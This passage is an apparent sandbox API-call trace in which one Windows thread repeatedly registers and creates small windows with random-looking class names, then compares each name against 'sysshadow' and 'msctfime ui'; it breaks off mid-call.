[0051.708] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mug") returned 3 [0051.708] _strcmpi (_Str1="Mug", _Str2="sysshadow") returned -6 [0051.708] _strcmpi (_Str1="Mug", _Str2="msctfime ui") returned 2 [0051.708] __fnINLPCREATESTRUCT () [0051.708] RegisterClassA (lpWndClass=0x261fae0) returned 0x120002c1d6 [0051.708] CreateWindowExA (dwExStyle=0x4, lpClassName="Vjhmfn", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.708] GetCurrentThreadId () returned 0xee0 [0051.708] GetClassNameA (in: hWnd=0x1033c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vjhmfn") returned 6 [0051.708] _strcmpi (_Str1="Vjhmfn", _Str2="sysshadow") returned 3 [0051.708] _strcmpi (_Str1="Vjhmfn", _Str2="msctfime ui") returned 9 [0051.708] __fnINLPCREATESTRUCT () [0051.708] GetCurrentThreadId () returned 0xee0 [0051.708] GetClassNameA (in: hWnd=0x1033c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vjhmfn") returned 6 [0051.708] _strcmpi (_Str1="Vjhmfn", _Str2="sysshadow") returned 3 [0051.708] _strcmpi (_Str1="Vjhmfn", _Str2="msctfime ui") returned 9 [0051.708] __fnINLPCREATESTRUCT () [0051.709] RegisterClassA (lpWndClass=0x261fae0) returned 0x160004c1d7 [0051.709] CreateWindowExA (dwExStyle=0x4, lpClassName="Yjzww", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.709] GetCurrentThreadId () returned 0xee0 [0051.709] GetClassNameA (in: hWnd=0x1033e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Yjzww") returned 5 [0051.709] _strcmpi (_Str1="Yjzww", _Str2="sysshadow") returned 6 [0051.709] _strcmpi (_Str1="Yjzww", _Str2="msctfime ui") returned 12 [0051.709] __fnINLPCREATESTRUCT () [0051.709] GetCurrentThreadId () returned 0xee0 [0051.709] GetClassNameA (in: hWnd=0x1033e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Yjzww") returned 5 [0051.709] _strcmpi (_Str1="Yjzww", _Str2="sysshadow") returned 6 [0051.709] _strcmpi (_Str1="Yjzww", _Str2="msctfime ui") returned 12 [0051.709] __fnINLPCREATESTRUCT () [0051.709] RegisterClassA (lpWndClass=0x261fae0) returned 0xa0002c1d8 [0051.709] CreateWindowExA (dwExStyle=0x4, lpClassName="Shd", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.709] GetCurrentThreadId () returned 0xee0 [0051.709] GetClassNameA (in: hWnd=0x10340, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Shd") returned 3 [0051.709] _strcmpi (_Str1="Shd", _Str2="sysshadow") returned -17 [0051.709] _strcmpi (_Str1="Shd", _Str2="msctfime ui") returned 6 [0051.709] __fnINLPCREATESTRUCT () [0051.709] GetCurrentThreadId () returned 0xee0 [0051.709] GetClassNameA (in: hWnd=0x10340, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Shd") returned 3 [0051.709] _strcmpi (_Str1="Shd", _Str2="sysshadow") returned -17 [0051.709] _strcmpi (_Str1="Shd", _Str2="msctfime ui") returned 6 [0051.709] __fnINLPCREATESTRUCT () [0051.709] RegisterClassA (lpWndClass=0x261fae0) returned 0x1a0002c1d9 [0051.710] CreateWindowExA (dwExStyle=0x4, lpClassName="Vdhqq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.710] GetCurrentThreadId () returned 0xee0 [0051.710] GetClassNameA (in: hWnd=0x10342, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vdhqq") returned 5 [0051.710] _strcmpi (_Str1="Vdhqq", _Str2="sysshadow") returned 3 [0051.710] _strcmpi (_Str1="Vdhqq", _Str2="msctfime ui") returned 9 [0051.710] __fnINLPCREATESTRUCT () [0051.710] GetCurrentThreadId () returned 0xee0 [0051.710] GetClassNameA (in: hWnd=0x10342, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vdhqq") returned 5 [0051.710] _strcmpi (_Str1="Vdhqq", _Str2="sysshadow") returned 3 [0051.710] _strcmpi (_Str1="Vdhqq", _Str2="msctfime ui") returned 9 [0051.710] __fnINLPCREATESTRUCT () [0051.710] RegisterClassA (lpWndClass=0x261fae0) returned 0xe0003c1da [0051.710] CreateWindowExA (dwExStyle=0x4, lpClassName="Anw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.710] GetCurrentThreadId () returned 0xee0 [0051.710] GetClassNameA (in: hWnd=0x10344, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Anw") returned 3 [0051.710] _strcmpi (_Str1="Anw", _Str2="sysshadow") returned -18 [0051.710] _strcmpi (_Str1="Anw", _Str2="msctfime ui") returned -12 [0051.710] __fnINLPCREATESTRUCT () [0051.710] GetCurrentThreadId () returned 0xee0 [0051.710] GetClassNameA (in: hWnd=0x10344, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Anw") returned 3 [0051.710] _strcmpi (_Str1="Anw", _Str2="sysshadow") returned -18 [0051.710] _strcmpi (_Str1="Anw", _Str2="msctfime ui") returned -12 [0051.710] __fnINLPCREATESTRUCT () [0051.710] RegisterClassA (lpWndClass=0x261fae0) returned 0x1e0004c1db [0051.710] CreateWindowExA (dwExStyle=0x4, lpClassName="Bslk", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.710] GetCurrentThreadId () returned 0xee0 [0051.710] GetClassNameA (in: hWnd=0x10346, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Bslk") returned 4 [0051.710] _strcmpi (_Str1="Bslk", _Str2="sysshadow") returned -17 [0051.710] _strcmpi (_Str1="Bslk", _Str2="msctfime ui") returned -11 [0051.711] __fnINLPCREATESTRUCT () [0051.711] GetCurrentThreadId () returned 0xee0 [0051.711] GetClassNameA (in: hWnd=0x10346, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Bslk") returned 4 [0051.711] _strcmpi (_Str1="Bslk", _Str2="sysshadow") returned -17 [0051.711] _strcmpi (_Str1="Bslk", _Str2="msctfime ui") returned -11 [0051.711] __fnINLPCREATESTRUCT () [0051.711] RegisterClassA (lpWndClass=0x261fae0) returned 0x220002c1dc [0051.711] CreateWindowExA (dwExStyle=0x4, lpClassName="Tqcthl", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.711] GetCurrentThreadId () returned 0xee0 [0051.711] GetClassNameA (in: hWnd=0x10348, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tqcthl") returned 6 [0051.711] _strcmpi (_Str1="Tqcthl", _Str2="sysshadow") returned 1 [0051.711] _strcmpi (_Str1="Tqcthl", _Str2="msctfime ui") returned 7 [0051.711] __fnINLPCREATESTRUCT () [0051.711] GetCurrentThreadId () returned 0xee0 [0051.711] GetClassNameA (in: hWnd=0x10348, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tqcthl") returned 6 [0051.711] _strcmpi (_Str1="Tqcthl", _Str2="sysshadow") returned 1 [0051.711] _strcmpi (_Str1="Tqcthl", _Str2="msctfime ui") returned 7 [0051.711] __fnINLPCREATESTRUCT () [0051.711] RegisterClassA (lpWndClass=0x261fae0) returned 0x120002c1dd [0051.711] CreateWindowExA (dwExStyle=0x4, lpClassName="Hft", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.712] GetCurrentThreadId () returned 0xee0 [0051.712] GetClassNameA (in: hWnd=0x1034a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hft") returned 3 [0051.712] _strcmpi (_Str1="Hft", _Str2="sysshadow") returned -11 [0051.712] _strcmpi (_Str1="Hft", _Str2="msctfime ui") returned -5 [0051.712] __fnINLPCREATESTRUCT () [0051.712] GetCurrentThreadId () returned 0xee0 [0051.712] GetClassNameA (in: hWnd=0x1034a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hft") returned 3 [0051.712] _strcmpi (_Str1="Hft", _Str2="sysshadow") returned -11 [0051.712] _strcmpi (_Str1="Hft", _Str2="msctfime ui") returned -5 [0051.712] __fnINLPCREATESTRUCT () [0051.712] RegisterClassA (lpWndClass=0x261fae0) returned 0x260004c1de [0051.712] CreateWindowExA (dwExStyle=0x4, lpClassName="Tsfxpt", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.712] GetCurrentThreadId () returned 0xee0 [0051.712] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tsfxpt") returned 6 [0051.712] _strcmpi (_Str1="Tsfxpt", _Str2="sysshadow") returned 1 [0051.712] _strcmpi (_Str1="Tsfxpt", _Str2="msctfime ui") returned 7 [0051.712] __fnINLPCREATESTRUCT () [0051.712] GetCurrentThreadId () returned 0xee0 [0051.712] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tsfxpt") returned 6 [0051.712] _strcmpi (_Str1="Tsfxpt", _Str2="sysshadow") returned 1 [0051.712] _strcmpi (_Str1="Tsfxpt", _Str2="msctfime ui") returned 7 [0051.712] __fnINLPCREATESTRUCT () [0051.712] RegisterClassA (lpWndClass=0x261fae0) returned 0x2a0002c1df [0051.712] CreateWindowExA (dwExStyle=0x4, lpClassName="Hzlk", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.712] GetCurrentThreadId () returned 0xee0 [0051.712] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hzlk") returned 4 [0051.712] _strcmpi (_Str1="Hzlk", _Str2="sysshadow") returned -11 [0051.712] _strcmpi (_Str1="Hzlk", _Str2="msctfime ui") returned -5 [0051.712] __fnINLPCREATESTRUCT () [0051.713] GetCurrentThreadId () returned 0xee0 [0051.713] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Hzlk") returned 4 [0051.713] _strcmpi (_Str1="Hzlk", _Str2="sysshadow") returned -11 [0051.713] _strcmpi (_Str1="Hzlk", _Str2="msctfime ui") returned -5 [0051.713] __fnINLPCREATESTRUCT () [0051.713] RegisterClassA (lpWndClass=0x261fae0) returned 0x2e0004c1e0 [0051.713] CreateWindowExA (dwExStyle=0x4, lpClassName="Dbgx", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.713] GetCurrentThreadId () returned 0xee0 [0051.713] GetClassNameA (in: hWnd=0x10350, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Dbgx") returned 4 [0051.713] _strcmpi (_Str1="Dbgx", _Str2="sysshadow") returned -15 [0051.713] _strcmpi (_Str1="Dbgx", _Str2="msctfime ui") returned -9 [0051.713] __fnINLPCREATESTRUCT () [0051.713] GetCurrentThreadId () returned 0xee0 [0051.713] GetClassNameA (in: hWnd=0x10350, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Dbgx") returned 4 [0051.713] _strcmpi (_Str1="Dbgx", _Str2="sysshadow") returned -15 [0051.713] _strcmpi (_Str1="Dbgx", _Str2="msctfime ui") returned -9 [0051.713] __fnINLPCREATESTRUCT () [0051.713] RegisterClassA (lpWndClass=0x261fae0) returned 0x160003c1e1 [0051.713] CreateWindowExA (dwExStyle=0x4, lpClassName="Bsf", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.713] GetCurrentThreadId () returned 0xee0 [0051.713] GetClassNameA (in: hWnd=0x10352, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Bsf") returned 3 [0051.713] _strcmpi (_Str1="Bsf", _Str2="sysshadow") returned -17 [0051.713] _strcmpi (_Str1="Bsf", _Str2="msctfime ui") returned -11 [0051.713] __fnINLPCREATESTRUCT () [0051.713] GetCurrentThreadId () returned 0xee0 [0051.713] GetClassNameA (in: hWnd=0x10352, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Bsf") returned 3 [0051.713] _strcmpi (_Str1="Bsf", _Str2="sysshadow") returned -17 [0051.713] _strcmpi (_Str1="Bsf", _Str2="msctfime ui") returned -11 [0051.713] __fnINLPCREATESTRUCT () [0051.713] RegisterClassA (lpWndClass=0x261fae0) returned 0x320002c1e2 [0051.714] CreateWindowExA (dwExStyle=0x4, lpClassName="Tuykgv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.714] GetCurrentThreadId () returned 0xee0 [0051.714] GetClassNameA (in: hWnd=0x10354, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tuykgv") returned 6 [0051.714] _strcmpi (_Str1="Tuykgv", _Str2="sysshadow") returned 1 [0051.714] _strcmpi (_Str1="Tuykgv", _Str2="msctfime ui") returned 7 [0051.714] __fnINLPCREATESTRUCT () [0051.714] GetCurrentThreadId () returned 0xee0 [0051.714] GetClassNameA (in: hWnd=0x10354, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Tuykgv") returned 6 [0051.714] _strcmpi (_Str1="Tuykgv", _Str2="sysshadow") returned 1 [0051.714] _strcmpi (_Str1="Tuykgv", _Str2="msctfime ui") returned 7 [0051.714] __fnINLPCREATESTRUCT () [0051.714] RegisterClassA (lpWndClass=0x261fae0) returned 0x360004c1e3 [0051.714] CreateWindowExA (dwExStyle=0x4, lpClassName="Wdub", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.714] GetCurrentThreadId () returned 0xee0 [0051.714] GetClassNameA (in: hWnd=0x10356, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wdub") returned 4 [0051.714] _strcmpi (_Str1="Wdub", _Str2="sysshadow") returned 4 [0051.714] _strcmpi (_Str1="Wdub", _Str2="msctfime ui") returned 10 [0051.714] __fnINLPCREATESTRUCT () [0051.714] GetCurrentThreadId () returned 0xee0 [0051.714] GetClassNameA (in: hWnd=0x10356, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Wdub") returned 4 [0051.714] _strcmpi (_Str1="Wdub", _Str2="sysshadow") returned 4 [0051.714] _strcmpi (_Str1="Wdub", _Str2="msctfime ui") returned 10 [0051.714] __fnINLPCREATESTRUCT () [0051.715] RegisterClassA (lpWndClass=0x261fae0) returned 0x3a0002c1e4 [0051.715] CreateWindowExA (dwExStyle=0x4, lpClassName="Appatv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.715] GetCurrentThreadId () returned 0xee0 [0051.715] GetClassNameA (in: hWnd=0x10358, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Appatv") returned 6 [0051.715] _strcmpi (_Str1="Appatv", _Str2="sysshadow") returned -18 [0051.715] _strcmpi (_Str1="Appatv", _Str2="msctfime ui") returned -12 [0051.715] __fnINLPCREATESTRUCT () [0051.715] GetCurrentThreadId () returned 0xee0 [0051.715] GetClassNameA (in: hWnd=0x10358, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Appatv") returned 6 [0051.715] _strcmpi (_Str1="Appatv", _Str2="sysshadow") returned -18 [0051.715] _strcmpi (_Str1="Appatv", _Str2="msctfime ui") returned -12 [0051.715] __fnINLPCREATESTRUCT () [0051.715] RegisterClassA (lpWndClass=0x261fae0) returned 0x1a0002c1e5 [0051.715] CreateWindowExA (dwExStyle=0x4, lpClassName="Qov", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.715] GetCurrentThreadId () returned 0xee0 [0051.715] GetClassNameA (in: hWnd=0x1035a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qov") returned 3 [0051.715] _strcmpi (_Str1="Qov", _Str2="sysshadow") returned -2 [0051.715] _strcmpi (_Str1="Qov", _Str2="msctfime ui") returned 4 [0051.715] __fnINLPCREATESTRUCT () [0051.715] GetCurrentThreadId () returned 0xee0 [0051.715] GetClassNameA (in: hWnd=0x1035a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Qov") returned 3 [0051.715] _strcmpi (_Str1="Qov", _Str2="sysshadow") returned -2 [0051.715] _strcmpi (_Str1="Qov", _Str2="msctfime ui") returned 4 [0051.715] __fnINLPCREATESTRUCT () [0051.715] RegisterClassA (lpWndClass=0x261fae0) returned 0x3e0004c1e6 [0051.716] CreateWindowExA (dwExStyle=0x4, lpClassName="Zionmq", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.716] GetCurrentThreadId () returned 0xee0 [0051.716] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zionmq") returned 6 [0051.716] _strcmpi (_Str1="Zionmq", _Str2="sysshadow") returned 7 [0051.716] _strcmpi (_Str1="Zionmq", _Str2="msctfime ui") returned 13 [0051.716] __fnINLPCREATESTRUCT () [0051.716] GetCurrentThreadId () returned 0xee0 [0051.716] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zionmq") returned 6 [0051.716] _strcmpi (_Str1="Zionmq", _Str2="sysshadow") returned 7 [0051.716] _strcmpi (_Str1="Zionmq", _Str2="msctfime ui") returned 13 [0051.716] __fnINLPCREATESTRUCT () [0051.716] RegisterClassA (lpWndClass=0x261fae0) returned 0x1e0003c1e7 [0051.716] CreateWindowExA (dwExStyle=0x4, lpClassName="Ena", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.716] GetCurrentThreadId () returned 0xee0 [0051.716] GetClassNameA (in: hWnd=0x1035e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ena") returned 3 [0051.716] _strcmpi (_Str1="Ena", _Str2="sysshadow") returned -14 [0051.716] _strcmpi (_Str1="Ena", _Str2="msctfime ui") returned -8 [0051.716] __fnINLPCREATESTRUCT () [0051.716] GetCurrentThreadId () returned 0xee0 [0051.716] GetClassNameA (in: hWnd=0x1035e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ena") returned 3 [0051.716] _strcmpi (_Str1="Ena", _Str2="sysshadow") returned -14 [0051.716] _strcmpi (_Str1="Ena", _Str2="msctfime ui") returned -8 [0051.716] __fnINLPCREATESTRUCT () [0051.716] RegisterClassA (lpWndClass=0x261fae0) returned 0x420002c1e8 [0051.716] CreateWindowExA (dwExStyle=0x4, lpClassName="Iaqo", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.716] GetCurrentThreadId () returned 0xee0 [0051.717] GetClassNameA (in: hWnd=0x10360, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Iaqo") returned 4 [0051.717] _strcmpi (_Str1="Iaqo", _Str2="sysshadow") returned -10 [0051.717] _strcmpi (_Str1="Iaqo", _Str2="msctfime ui") returned -4 [0051.717] __fnINLPCREATESTRUCT () [0051.717] GetCurrentThreadId () returned 0xee0 [0051.717] GetClassNameA (in: hWnd=0x10360, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Iaqo") returned 4 [0051.717] _strcmpi (_Str1="Iaqo", _Str2="sysshadow") returned -10 [0051.717] _strcmpi (_Str1="Iaqo", _Str2="msctfime ui") returned -4 [0051.717] __fnINLPCREATESTRUCT () [0051.717] RegisterClassA (lpWndClass=0x261fae0) returned 0x220002c1e9 [0051.717] CreateWindowExA (dwExStyle=0x4, lpClassName="Mmw", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.717] GetCurrentThreadId () returned 0xee0 [0051.717] GetClassNameA (in: hWnd=0x10362, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mmw") returned 3 [0051.717] _strcmpi (_Str1="Mmw", _Str2="sysshadow") returned -6 [0051.717] _strcmpi (_Str1="Mmw", _Str2="msctfime ui") returned -6 [0051.717] __fnINLPCREATESTRUCT () [0051.717] GetCurrentThreadId () returned 0xee0 [0051.717] GetClassNameA (in: hWnd=0x10362, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Mmw") returned 3 [0051.717] _strcmpi (_Str1="Mmw", _Str2="sysshadow") returned -6 [0051.717] _strcmpi (_Str1="Mmw", _Str2="msctfime ui") returned -6 [0051.717] __fnINLPCREATESTRUCT () [0051.717] RegisterClassA (lpWndClass=0x261fae0) returned 0x460004c1ea [0051.717] CreateWindowExA (dwExStyle=0x4, lpClassName="Ixir", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.717] GetCurrentThreadId () returned 0xee0 [0051.717] GetClassNameA (in: hWnd=0x10364, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ixir") returned 4 [0051.717] _strcmpi (_Str1="Ixir", _Str2="sysshadow") returned -10 [0051.717] _strcmpi (_Str1="Ixir", _Str2="msctfime ui") returned -4 [0051.718] __fnINLPCREATESTRUCT () [0051.718] GetCurrentThreadId () returned 0xee0 [0051.718] GetClassNameA (in: hWnd=0x10364, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Ixir") returned 4 [0051.718] _strcmpi (_Str1="Ixir", _Str2="sysshadow") returned -10 [0051.718] _strcmpi (_Str1="Ixir", _Str2="msctfime ui") returned -4 [0051.718] __fnINLPCREATESTRUCT () [0051.718] RegisterClassA (lpWndClass=0x261fae0) returned 0x260003c1eb [0051.718] CreateWindowExA (dwExStyle=0x4, lpClassName="Rht", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.718] GetCurrentThreadId () returned 0xee0 [0051.718] GetClassNameA (in: hWnd=0x10366, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Rht") returned 3 [0051.718] _strcmpi (_Str1="Rht", _Str2="sysshadow") returned -1 [0051.718] _strcmpi (_Str1="Rht", _Str2="msctfime ui") returned 5 [0051.718] __fnINLPCREATESTRUCT () [0051.718] GetCurrentThreadId () returned 0xee0 [0051.718] GetClassNameA (in: hWnd=0x10366, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Rht") returned 3 [0051.718] _strcmpi (_Str1="Rht", _Str2="sysshadow") returned -1 [0051.718] _strcmpi (_Str1="Rht", _Str2="msctfime ui") returned 5 [0051.718] __fnINLPCREATESTRUCT () [0051.718] RegisterClassA (lpWndClass=0x261fae0) returned 0x4a0002c1ec [0051.718] CreateWindowExA (dwExStyle=0x4, lpClassName="Efvi", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.718] GetCurrentThreadId () returned 0xee0 [0051.718] GetClassNameA (in: hWnd=0x10368, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Efvi") returned 4 [0051.718] _strcmpi (_Str1="Efvi", _Str2="sysshadow") returned -14 [0051.718] _strcmpi (_Str1="Efvi", _Str2="msctfime ui") returned -8 [0051.718] __fnINLPCREATESTRUCT () [0051.718] GetCurrentThreadId () returned 0xee0 [0051.718] GetClassNameA (in: hWnd=0x10368, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Efvi") returned 4 [0051.719] _strcmpi (_Str1="Efvi", _Str2="sysshadow") returned -14 [0051.719] _strcmpi (_Str1="Efvi", _Str2="msctfime ui") returned -8 [0051.719] __fnINLPCREATESTRUCT () [0051.719] RegisterClassA (lpWndClass=0x261fae0) returned 0x2a0002c1ed [0051.719] CreateWindowExA (dwExStyle=0x4, lpClassName="Zqu", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.719] GetCurrentThreadId () returned 0xee0 [0051.719] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zqu") returned 3 [0051.719] _strcmpi (_Str1="Zqu", _Str2="sysshadow") returned 7 [0051.719] _strcmpi (_Str1="Zqu", _Str2="msctfime ui") returned 13 [0051.719] __fnINLPCREATESTRUCT () [0051.719] GetCurrentThreadId () returned 0xee0 [0051.719] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Zqu") returned 3 [0051.719] _strcmpi (_Str1="Zqu", _Str2="sysshadow") returned 7 [0051.719] _strcmpi (_Str1="Zqu", _Str2="msctfime ui") returned 13 [0051.719] __fnINLPCREATESTRUCT () [0051.719] RegisterClassA (lpWndClass=0x261fae0) returned 0x2e0003c1ee [0051.719] CreateWindowExA (dwExStyle=0x4, lpClassName="Cqv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.719] GetCurrentThreadId () returned 0xee0 [0051.719] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cqv") returned 3 [0051.719] _strcmpi (_Str1="Cqv", _Str2="sysshadow") returned -16 [0051.719] _strcmpi (_Str1="Cqv", _Str2="msctfime ui") returned -10 [0051.719] __fnINLPCREATESTRUCT () [0051.719] GetCurrentThreadId () returned 0xee0 [0051.719] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Cqv") returned 3 [0051.719] _strcmpi (_Str1="Cqv", _Str2="sysshadow") returned -16 [0051.719] _strcmpi (_Str1="Cqv", _Str2="msctfime ui") returned -10 [0051.719] __fnINLPCREATESTRUCT () [0051.719] RegisterClassA (lpWndClass=0x261fae0) returned 0x320002c1ef [0051.720] CreateWindowExA (dwExStyle=0x4, lpClassName="Dvv", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.720] GetCurrentThreadId () returned 0xee0 [0051.720] GetClassNameA (in: hWnd=0x1036e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Dvv") returned 3 [0051.720] _strcmpi (_Str1="Dvv", _Str2="sysshadow") returned -15 [0051.720] _strcmpi (_Str1="Dvv", _Str2="msctfime ui") returned -9 [0051.720] __fnINLPCREATESTRUCT () [0051.720] GetCurrentThreadId () returned 0xee0 [0051.720] GetClassNameA (in: hWnd=0x1036e, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Dvv") returned 3 [0051.720] _strcmpi (_Str1="Dvv", _Str2="sysshadow") returned -15 [0051.720] _strcmpi (_Str1="Dvv", _Str2="msctfime ui") returned -9 [0051.720] __fnINLPCREATESTRUCT () [0051.720] RegisterClassA (lpWndClass=0x261fae0) returned 0x360003c1f0 [0051.720] CreateWindowExA (dwExStyle=0x4, lpClassName="Vai", lpWindowName=0x0, dwStyle=0x1, X=33, Y=63, nWidth=34, nHeight=80, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0051.720] GetCurrentThreadId () returned 0xee0 [0051.720] GetClassNameA (in: hWnd=0x10370, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vai") returned 3 [0051.720] _strcmpi (_Str1="Vai", _Str2="sysshadow") returned 3 [0051.720] _strcmpi (_Str1="Vai", _Str2="msctfime ui") returned 9 [0051.720] __fnINLPCREATESTRUCT () [0051.720] GetCurrentThreadId () returned 0xee0 [0051.720] GetClassNameA (in: hWnd=0x10370, lpClassName=0x261f300, nMaxCount=260 | out: lpClassName="Vai") returned 3 [0051.720] _strcmpi (_Str1="Vai", _Str2="sysshadow") returned 3 [0051.720] _strcmpi (_Str1="Vai", _Str2="msctfime ui") returned 9 [0051.720] __fnINLPCREATESTRUCT () [0051.720] RegisterClassA (lpWndClass=0x261fae0) returned 0x3a0002c1f1 [0051.720] CreateWindowExA (dwExStyle=0x4, 